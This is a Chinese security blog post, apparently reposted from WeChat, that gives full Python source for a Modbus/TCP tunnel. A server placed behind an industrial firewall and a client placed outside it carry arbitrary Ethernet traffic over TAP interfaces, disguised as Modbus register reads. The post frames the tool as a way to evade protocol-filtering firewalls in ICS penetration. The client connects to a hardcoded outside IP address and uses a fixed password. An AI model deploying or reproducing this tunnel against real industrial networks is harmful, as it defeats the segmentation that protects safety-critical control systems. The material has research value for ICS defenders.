程序以python编写,可以透过Modbus / TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。
可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。
在防火墙“后”的系统上运行modbus-server.py。
在防火墙“前”的网络上运行modbus-client.py。
注意:
执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节
所以,会增加穿透流量的150ms延迟,并且带宽不会很大。
所以尽量的去精简你的命令操作。
modbus-client.py
from twisted.internet import reactor
from twisted.internet.protocol import Factory, Protocol, ClientFactory
#from twisted.internet.endpoints import TCP4ClientEndpoint
from sys import stdout
import modbus
import sys
import struct
import threading
from threading import Thread
import time
import os
import fcntl
import subprocess
TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
class modbusClient(Protocol):
def connectionMade(self):
self._tapBuff = ""
self._mbDataToWrite = ""
self._mbBuffLock = threading.Lock()
self._tapBuffLock = threading.Lock()
self._tapLock = threading.Lock()
self._mbParseLock = threading.Lock()
self._decoder = modbus.ModbusDecoder()
print "sending login"
self.sendMessage("login secret")
#print "starting command thread"
#self._commandThread = Thread(target = self.commandLoop, args = [])
#self._commandThread.start()
print "starting query thread"
self._queryThread = Thread(target = self.pollLoop) # adjust accordingly
self._queryThread.start()
print "opening tap"
self._tap = open('/dev/net/tun', 'w+b')
self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI)
fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
# need to make the tap device nonblocking
tapfd = self._tap.fileno()
tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)
# Optionally, we want it be accessed by the normal user.
fcntl.ioctl(self._tap, TUNSETOWNER, 1000)
# subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0',
shell=True)
print "starting tap thread"
self._tapThread = Thread(target = self.handle_tap, args = [])
self._tapThread.start()
def commandLoop(self):
while True:
try:
mycommand = raw_input("cl> ")
reactor.callFromThread(self.sendMessage, mycommand)
except:
print "Exiting command loop"
exit(1)
def handle_tap(self):
while True:
self._tapLock.acquire()
try: # because it's nonblock, this will throw exception when no data is available
packet = list(os.read(self._tap.fileno(), 2048))
except:
# todo: only catch the exceptions we want!
packet = []
if len(packet) > 0:
self._mbBuffLock.acquire()
for byte in packet:
self._mbDataToWrite += byte
self._mbBuffLock.release()
self._tapLock.release()
if self._tapBuff != "":
print "tap out: ", self._tapBuff
self._tapBuffLock.acquire()
self._tapLock.acquire()
os.write(self._tap.fileno(), self._tapBuff)
self._tapBuff = ""
self._tapLock.release()
self._tapBuffLock.release()
def tapLoop(self):
# keep reading from the tap device
packet = list(os.read(self._tap.fileno(), 2048))
# put any packet data onto our _dataToWrite queue
# need to keep a semaphore so that the poll loop is assured
# to delete data from the dataToWrite
this._tapBuffLock.acquire()
this._mbDataToWrite.append(packet)
this._tapBuffLock.release()
def pollLoop(self, delay=0.1):
print "poll loop starting up"
while True:
if self._mbDataToWrite != "":
# send the data
# Couldn't I just use the
print "had modbus data to write, calling from main thread"
self._mbBuffLock.acquire()
reactor.callFromThread(self.sendMessage, self._mbDataToWrite)
self._mbDataToWrite = ""
self._mbBuffLock.release()
else:
# send a probe
#print "sending poll"
reactor.callFromThread(self.sendProbe)
time.sleep(delay)
def sendProbe(self):
# generate a Modbus frame that means "probe!"
packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True)
for packet in packets:
self.transport.write(packet)
def dataReceived(self, data):
self._mbParseLock.acquire()
if self._decoder.decodeModbus(data):
#print "request complete"
# Packet is now complete
commandData = self._decoder.getReconstructedPacket()
while commandData != None:
self.dealWithData(commandData)#, data)
commandData = self._decoder.getReconstructedPacket()
else:
# our _decoder's state will be updated with partial packet
self._mbParseLock.release()
return
#self._mbDatabuff += data
#print "waiting on more frames"
self._mbParseLock.release()
def dealWithData(self, commandData):#, rawdata):
#packets = self._decoder.decodeAllPackets(rawdata)
# we may have been dealing with command data
if commandData != "x00x00x01": # just a probe
#print "got command?: ",
#for byte in commandData:
# print hex(ord(byte)),
#print ""
tlen = commandData.find('x00')
if tlen == -1:
tlen = len(commandData)
tcmd = commandData[0:tlen]
if "help" == tcmd:
print "sending help"
self._mbBuffLock.acquire()
self._mbDataToWrite += "help: not available :)"
self._buffLock.release()
elif "login success" in tcmd:
print "succeeded login, continuing"
else:
print "bad command, may be data to send"
#self._mbBuffLock.acquire()
#self._mbDataToWrite += tcmd + ": invalid command"
#self._mbBuffLock.release()
# actual binary data, send to tap
self._tapBuffLock.acquire()
self._tapBuff += commandData
self._tapBuffLock.release()
#print "data added to queue"
# should also clear buffer, non?
else:
# actual binary data, send to tap
self._tapBuffLock.acquire()
self._tapBuff += commandData
self._tapBuffLock.release()
def sendMessage(self, msg):
#print "encrapsulating ", msg
packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg)
for packet in packets:
#print "sending: " + packet
self.transport.write(packet)
class modbusClientFactory(ClientFactory):
protocol = modbusClient
def sendMessage(self, data):
self.protocol.sendMessage(data)
def notThreadSafe(x):
"""do something that isn't thread-safe"""
# ...
print "I am in a thread"
def threadSafeScheduler():
"""Run in thread-safe manner."""
reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)'
# in the event loop
def commandLoop():
while True:
command = input("> ")
reactor.callInThread(f.sendMessage, command)
# TODO make this connect to acttual hosts
f = modbusClientFactory()
reactor.connectTCP("66.228.57.244", 502, f)
#reactor.callInThread(commandLoop)
try:
reactor.run()
except:
print "exception caught, exiting"
exit(1)
modbus-server.py
from twisted.internet import protocol, reactor
import struct
import modbus
import fcntl
import os
import subprocess
import threading
TUNSETIFF = 0x400454ca
TUNSETOWNER = TUNSETIFF + 2
IFF_TUN = 0x0001
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
class ModbusTunneler(protocol.Protocol):
# this method runs in a thread and handles data from the _tap device
# it sends data to the tap device and receives data from the tap device
def handle_tap(self):
while True:
self._tapLock.acquire()
try:
packet = list(os.read(self._tap.fileno(), 2048))
except:
packet = []
if len(packet) > 0:
self._mbBuffLock.acquire()
print "got tap data, sending via modbus"
for byte in packet:
self._mbDataToWrite += byte
self._mbBuffLock.release()
self._tapLock.release()
self._tapBuffLock.acquire()
if self._tapBuff!= "":
print "handle_tap: putting data on wire: ", self._tapBuff
self._tapLock.acquire()
# maybe I don't have to callFromThread here? there shouldn't
# be any contention over this device...
os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string
self._tapBuff = ""
self._tapLock.release()
self._tapBuffLock.release()
def __init__(self, password):
print "init"
self._tapBuff = ""
# tapbufflock is for the tap buffer (data to write to the tap interface)
self._tapBuffLock = threading.Lock()
# mbBuffLock is for the modbus buffer (data to write via Modbus)
self._mbBuffLock = threading.Lock()
# Trying to find an issue with a new packet coming in before the last packet
# has finished processing...this may open a new thread?
self._mbParseLock = threading.Lock()
# Note that reading data from the tap and reading via modbus
# do not require locks
# not sure if we really need a taplock since it
# should all run in one thread anyway
self._tapLock = threading.Lock()
self._decoder = modbus.ModbusDecoder()
self._loggedIn = False
self._password = password
self._mbDataToWrite = ""
self._databuff = ""
print "opening tap"
self._tap = open('/dev/net/tun', 'w+b')
self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI)
fcntl.ioctl(self._tap, TUNSETIFF, self._ifr)
# need to make the tap device nonblocking
tapfd = self._tap.fileno()
tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL)
fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK)
# Optionally, we want it be accessed by the normal user.
fcntl.ioctl(self._tap, TUNSETOWNER, 1000)
# subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up',
subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0',
shell=True)
self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0"
print "starting tap thread"
self._tapThread = threading.Thread(target = self.handle_tap, args = [])
self._tapThread.start()
def verify_login(self, payload):
print "Verifying login of ", payload
print "--> Hex: ",
for byte in payload:
print hex(ord(byte))
if ("login " + self._password) in payload:
print "...verified!"
self._mbDataToWrite = "login success"
return True
else:
return False
# is this thread-safe?? Can it be called from multiple threads??
def dataReceived(self, data):
self._mbParseLock.acquire()
if self._decoder.decodeModbus(data):
# modbus decoded at least one entire tap frame
# so we should play with that frame
#print "request complete"
# Packet is now complete
commandData = self._decoder.getReconstructedPacket()
while commandData != None:
# the packet will be the most recent one on the stack
if self._loggedIn == False:
if self.verify_login(commandData):
self._loggedIn = True
else:
self.dealWithData(commandData)
commandData = self._decoder.getReconstructedPacket()
else:
self._databuff += data
#print "waiting on more frames"
# really need to queue up reply packets in a more meaningful way
# right now we'll just send them all out willy-nilly, would
# be nice to make them blend in more
self._mbParseLock.release()
if self._mbDataToWrite != "":
print "sending encrapsulated modbus packet back"
# send as much of it as we can
self.writeData()
def dealWithData(self, commandData):
#packets = self._decoder.decodeAllPackets(rawdata)
# we may have been dealing with command data
if commandData != "x00x00x01": # just a probe
print "got command?: ",
for byte in commandData:
print hex(ord(byte)),
print ""
tlen = commandData.find('x00')
if tlen == -1:
tlen = len(commandData)
tcmd = commandData[0:tlen]
if "help" == tcmd:
print "sending help"
self._mbBuffLock.acquire()
self._mbDataToWrite += "help: not available :)"
self._mbBuffLock.release()
else:
print "bad command, may be data to send"
#self._mbBuffLock.acquire()
#self._mbDataToWrite += tcmd + ": invalid command"
#self._mbBuffLock.release()
# actual binary data, send to tap
self._tapBuffLock.acquire()
self._tapBuff += commandData
self._tapBuffLock.release()
print "data added to queue"
# should also clear buffer, non?
# Write as many bytes as we can of the data, then move our _dataToWrite
# Need to fix this up so it looks more like responses to the queries
# that are coming in (put in proper register ranges, etc, will slow it down)
def writeData(self):
self._mbBuffLock.acquire()
packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite)
print "replying with", len(packets), "packets"
for packet in packets:
self.transport.write(packet)
print "done sending", len(packets), "replies, zeroing out buffer"
self._mbDataToWrite = ""
self._mbBuffLock.release()
class ModbusTunnelerFactory(protocol.Factory):
def __init__(self, password):
self._password = password
def buildProtocol(self, addr):
print "Got new client"
return ModbusTunneler(self._password)
reactor.listenTCP(502, ModbusTunnelerFactory("secret"))
reactor.run()
本文始发于微信公众号(谢公子学安全):ics渗透中你总会用到-穿透工业隔离网闸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论